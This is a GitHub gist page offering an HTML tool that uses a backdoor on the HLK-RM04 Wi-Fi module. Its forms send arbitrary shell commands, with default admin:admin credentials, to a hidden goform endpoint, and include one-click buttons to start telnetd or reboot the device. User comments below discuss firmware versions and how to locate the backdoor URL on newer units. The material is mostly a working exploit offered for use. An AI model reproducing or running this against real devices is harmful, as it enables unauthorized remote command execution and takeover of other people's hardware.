Skip to content

Instantly share code, notes, and snippets.

@jkent

jkent/rm04-tool.html

Created June 10, 2013 12:02
Show Gist options
  • Star 7 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save jkent/5748249 to your computer and use it in GitHub Desktop.
Save jkent/5748249 to your computer and use it in GitHub Desktop.
Download ZIP
Another backdoor for the rm04, need I say any more?
Raw
rm04-tool.html
<html>
<head>
<title>HLK-RM04 Tool</title>
<style>
form {
display: inline;
}
</style>
</head>
<body>
<h1>HLK-RM04 Tool</h1>
<b>Shell command:</b><br />
<form action="http://admin:admin@192.168.16.254/goform/hlk34fge3360llf94wwq24" method="POST" target="frame">
<input type="text" name="command" size=40 /><input type="submit" value="Run" />
</form>
<hr />
<b>Quick actions:</b><br />
<form action="http://admin:admin@192.168.16.254/goform/hlk34fge3360llf94wwq24" method="POST" target="frame">
<input type="hidden" name="command" value="telnetd" /><input type="submit" value="Start telnetd" />
</form>
<form action="http://admin:admin@192.168.16.254/goform/hlk34fge3360llf94wwq24" method="POST" target="frame">
<input type="hidden" name="command" value="reboot" /><input type="submit" value="Reboot" />
</form>
<iframe src="about:blank" name="frame" width="0" height="0" frameborder="0"></iframe>
</body>
</html>
@belkinsky
Copy link

Hi!

Not works for me. Firmware V1.78(Jul 23 2013)

Do you remember how to find action url in device's filesystem?

@NittyGritty74141
Copy link

I have the same version and it works perfect. I jusst changed the three IP addresses in the file to the one of my module.

@beikeland
Copy link

beikeland commented Dec 17, 2017 •
edited

Seems this has changed over the years.

<html><head></head><body>
                This document has moved to a new <a href="http://192.168.0.1/adm/system_command.asp">location</a>.
                Please update your documents to reflect the new location.
                </body></html>

http://192.168.0.1/adm/system_command.asp results in a 404 page with both get and post requests.

@QGB
Copy link

QGB commented Oct 22, 2022

hlk34fge3360llf94wwq24 404

how to find the url

http://192.168.88.254/cgi-bin/history.sh

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment